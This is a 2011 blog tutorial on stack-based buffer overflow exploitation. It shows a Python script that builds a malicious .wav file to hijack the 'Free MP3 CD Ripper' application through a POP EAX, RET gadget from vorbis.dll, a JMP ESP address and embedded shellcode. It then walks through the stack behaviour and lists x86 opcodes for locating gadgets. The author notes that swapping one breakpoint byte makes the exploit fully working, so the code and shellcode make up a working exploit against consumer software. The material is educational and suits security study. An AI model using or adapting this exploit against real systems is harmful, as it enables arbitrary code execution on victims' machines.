Julien Ahrens

Vulnerability Intel | ROP Gadget Hunter | Privacy Enthusiast | Full-time BugBounty hunter | @Hacker0x01 MVH | @SynackRedTeam member | on a world-trip

Buffer Overflow Exploitation: Stack manipulation using POP, RET

08 Dec 2011 » Tutorials

Exploiting is a very interesting topic and there are many ways of manipulating the stack. One of those ways is using the POP, RET functions.

Using the “Free MP3 CD Ripper” - Exploit from my first tutorial, I would like to show how a POP RET is basically working (and displayed in IDA), since these are useful commands if the shellcode is not directly placed @ the ESP, but only some bytes away from it on the stack, like ESP+4 or ESP+8…The modified Python script helps to show how jumping to shellcode via a POP, RET will work:

from struct import pack

file="fuzzing.wav"
junk="\\x41"\*4112
eip=pack('<I',0x639D1575) #pop eax,ret from vorbis.dll (loaded @639C0000)
nops = "\\x90" \* 4
ret=pack('<I',0x1511EDFF)
nops2 = "\\x90" \* 2
breakit = "\\xCC" \* 1
shellcode = ("\\xdb\\xc0\\x31\\xc9\\xbf\\x7c\\x16\\x70\\xcc\\xd9\\x74\\x24\\xf4\\xb1\\x1e"
"\\x58\\x31\\x78\\x18\\x83\\xe8\\xfc\\x03\\x78\\x68\\xf4\\x85\\x30\\x78\\xbc\\x65\\xc9\\x78"
"\\xb6\\x23\\xf5\\xf3\\xb4\\xae\\x7d\\x02\\xaa\\x3a\\x32\\x1c\\xbf\\x62\\xed\\x1d\\x54\\xd5"
"\\x66\\x29\\x21\\xe7\\x96\\x60\\xf5\\x71\\xca\\x06\\x35\\xf5\\x14\\xc7\\x7c\\xfb\\x1b\\x05"
"\\x6b\\xf0\\x27\\xdd\\x48\\xfd\\x22\\x38\\x1b\\xa2\\xe8\\xc3\\xf7\\x3b\\x7a\\xcf\\x4c\\x4f"
"\\x23\\xd3\\x53\\xa4\\x57\\xf7\\xd8\\x3b\\x83\\x8e\\x83\\x1f\\x57\\x53\\x64\\x51\\xa1\\x33"
"\\xcd\\xf5\\xc6\\xf5\\xc1\\x7e\\x98\\xf5\\xaa\\xf1\\x05\\xa8\\x26\\x99\\x3d\\x3b\\xc0\\xd9"
"\\xfe\\x51\\x61\\xb6\\x0e\\x2f\\x85\\x19\\x87\\xb7\\x78\\x2f\\x59\\x90\\x7b\\xd7\\x05\\x7f"
"\\xe8\\x7b\\xca")
writeFile = open (file, "w")
writeFile.write(junk+eip+nops+ret+nops2+breakit+shellcode)
writeFile.close()

The .wav gets filled by our usual 4112 bytes of junk first. After that we’ve got the already known position of our EIP, where we’ll fill in a “POP EAX, RET” (opcode: 58 C3 - have a look at the opcode-table at the end of this posting) stolen from the loaded “vorbis.dll”. But what does a “POP EAX” and a “RET” do exactly ? The”POP EAX” takes 4 bytes off the top of the stack and directly stores them into the EAX and “RET” loads the following 4 bytes at ESP into EIP, and therefor gets executed. :-) By the way if the shellcode is 8 bytes away (ESP+8) you simply need to find a “POP, POP, RET” function to jump…

For demonstration purposes, I’ll add another 4 nop-bytes “\x90” after the EIP. Those bytes will be POP’ed to the EAX. The next 4 stack bytes - our already known “JMP ESP” - will used by the RET function. The following 2 nop-bytes and the “\xCC”, which simply breaks the process, will be used to realign the stack. Execute the application, load our new malicious .wav and have a look at the general registers and the stack view now:

The stack view clearly shows you what did happen and what we expected! First: The EIP loaded 0x1BDFEE4 which stores our stolen POP, RET functions from vorbis.dll. Followed by our pseudo-nops “90909090”, which are POP’ed to the EAX using the mentioned function from vorbis.dll. Have a look at the general registers, where you can see that the EAX contains exactly “90909090”. Great! The pop works fine so far. Now the ret gets executed @0x1BDFEEC which contains our stolen “JMP ESP” from “WMVCore.dll”. Then we’ve got some other nops again to realign the Stack (notice that the ESP is @0x1BDFEF0), which means we only need 3 further bytes to point directly to our shellcode. (I’ve just added 2 nops and a break here to break the application flow). In the final version of the exploit simply exchange the “\xCC” with a further nop and the exploit will work again :-).

A nice collection of opcodes:

\* ASM Code:
call eax  FF D0
call ebx  FF D3
call ecx  FF D1
call edx  FF D2
call edi  FF D7
call esi  FF D6
call esp  FF D4
call ebp  FF D5

call \[eax\] FF 10
call \[ebx\] FF 13
call \[ecx\] FF 11
call \[edx\] FF 12
call \[edi\] FF 17
call \[esi\] FF 16
call \[esp\] FF 14 24
call \[ebp\] FF 55 00

jmp eax  FF E0
jmp ebx  FF E3
jmp ecx  FF E1
jmp edx  FF E2
jmp edi  FF E7
jmp esi  FF E6
jmp esp  FF E4
jmp ebp  FF E5

jmp \[eax\]  FF 20
jmp \[ebx\]  FF 23
jmp \[ecx\]  FF 21
jmp \[edx\]  FF 22
jmp \[edi\]  FF 27
jmp \[esi\]  FF 26
jmp \[esp\]  FF 24 24
jmp \[ebp\]  FF 65 00

push eax  50
push ebx  53
push ecx  51
push edx  52
push edi  57
push esi  56
push esp  54
push ebp  55

push \[eax\] FF 30
push \[ebx\] FF 33
push \[ecx\] FF 31
push \[edx\] FF 32
push \[edi\] FF 37
push \[esi\] FF 36
push \[esp\] FF 34 24
push \[ebp\] FF 75 00

pop eax  58
pop ebx  5B
pop ecx  59
pop edx  5A
pop edi  5F
pop esi  5E
pop esp  5C
pop ebp  5D

ret         C3